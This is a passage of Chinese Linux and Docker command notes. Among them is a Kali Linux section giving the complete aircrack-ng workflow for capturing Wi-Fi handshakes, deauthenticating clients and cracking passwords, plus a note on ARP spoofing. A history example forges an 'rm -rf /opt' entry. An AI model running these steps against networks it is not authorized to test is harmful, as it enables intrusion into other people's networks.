2) -c:清空内存中的命令历史;
3) -d #:删除指定的历史命令,比如 history -d 100 ,就是删除第100个命令历史;
4) -n:将历史文件中,未读过的行,加载到内存中的历史列表,方便多个终端同步内存中的命令历史;
5) -p:我认为此命令就相当于echo的作用,但是使用history -p string输出的信息,不被记录到历史当中,也就是“不被记录的echo,隐形echo,你可以尝试使用history -p $变量名,这样就会觉得很像echo。但是如果你使用history -p string1 string2,会发现它并不像echo打印到一行,会打印成多行;
6) -r:读取历史文件中的所有历史命令,到内存中的历史列表,即使内存中的列表中,已经存在这条历史;
7) -s:伪造命令历史,比如history -s rm -rf /opt,这样写,并不会执行删除opt目录的操作,只是把这条没有执行的"命令"加入到了历史中;
8) -w:保存内存中历史列表到指定的历史文件,history -w ./test 把历史写入到当前目录的test文件中;
9) #:显示最近的#条历史,例如:history 99 ,表示显示最近的99条命令历史.
4. pwd 
Detail: 是 Print Working Directory (打印工作目录)的缩写。
Function: 功能是显示用户当前所处的工作目录。
5. ./configure –prefix=/usr/local
Expand:源码的安装一般由有这三个步骤:配置(configure)、编译(make)、安装(make install)。
Detail:其中–prefix选项就是配置安装的路径,如果不配置该选项,安装后可执行文件默认放在/usr /local/bin,库文件默认放在/usr/local/lib,配置文件默认放在/usr/local/etc,其它的资源文件放在/usr /local/share,比较分散。

Notice:为了便于集中管理某个软件的各种文件,可以配置–prefix,
如:./configure –prefix=/usr/local
可以把所有资源文件放在/usr/local的路径中,就不会分散了。

二、其他系统版本

CentOS

黑客命令行(Kaili_Linux)

 1. iwconfig
Function:开启无线网卡的电源,并且查找区域内的无线网卡。查看无线网卡详细配置。
 2. ifconfig
 3. ifconfig -a
Function:显示或配置网络设备(网络接口卡)的命令,并且获取IP地址(如果使用DHCP的话),
配置网卡的IP地址语法例:ifconfig eth0 192.168.0.1 netmask 255.255.255.0。
 4. ifconfig wlan0 up
Function:激活(启用)无线网卡。
 5. rfkill block 0
Function:停用系统中第一个启用RFKill的设备。
还可以使用 rfkill 阻断某一类设备,或者所有启用了RFKill的设备。
 6. rfkill block wifi
 7. rfkill unblock wifi
Function:停用获启用系统中的所有Wi-Fi设备。
 8. rfkill help
Function:获得 rfkill 可停用的完整设备类别列表。
 9. airmon-ng check
10. airmon-ng check kill
Function:排查对之后一系列操作会有影响的进程。
11. airmon-ng start wlan0
Function:开启无线网卡的监听模式(notice:特殊网卡无需开启)。
12. airodump-ng wlan0mon
Function:使无线路由器开始监听。
13. airodump-ng -c [channel] -w [store_filename(path)] --bssid [AP Mac] wlan0mon
Function:获取验证数据包(握手信息),并且存入本地文件。
14. aireplay-ng -0 1 -a [AP Mac] -c [Client Mac] wlan0mon
Function:开始攻击,目的产生验证数据包(握手包)。
15. aircrack-ng -w [passwdfile] [capfile]
Function:抓到验证数据包(握手信息)后开始密码破解。

Notice:AP ARP协议 攻击 Mac 不变 IP 变
他的Mac地址 加我的IP地址 让它(路由器)误认为我是他

技术应用

  1. 用笔记本电脑破解wifi密码

三、框架

1. Docker(容器)

  1. Introduction:Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。
    Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。
    容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。
    Docker 从 17.03 版本之后分为 CE(Community Edition: 社区版) 和 EE(Enterprise Edition: 企业版)
  2. Command:
 1) docker info
Function:显示Docker系统信息,其中包括镜像和容器数等。
Grammar:docker info [OPTIONS]
 2) docker version
Function:显示docker版本信息。
Grammar:docker version [OPTIONS]
Notice:
1> -f:指定返回值的模板文件。 	
 3) docker run
Function:创建一个新的容器,并运行一个命令。
Grammar:docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
Parameter:
1) -p:随机端口映射时,容器内部端口,随机映射到主机的高端口 / 指定端口映射时,Format:主机(宿主)端口:容器端口;
2) 

你可能感兴趣的:(操作系统)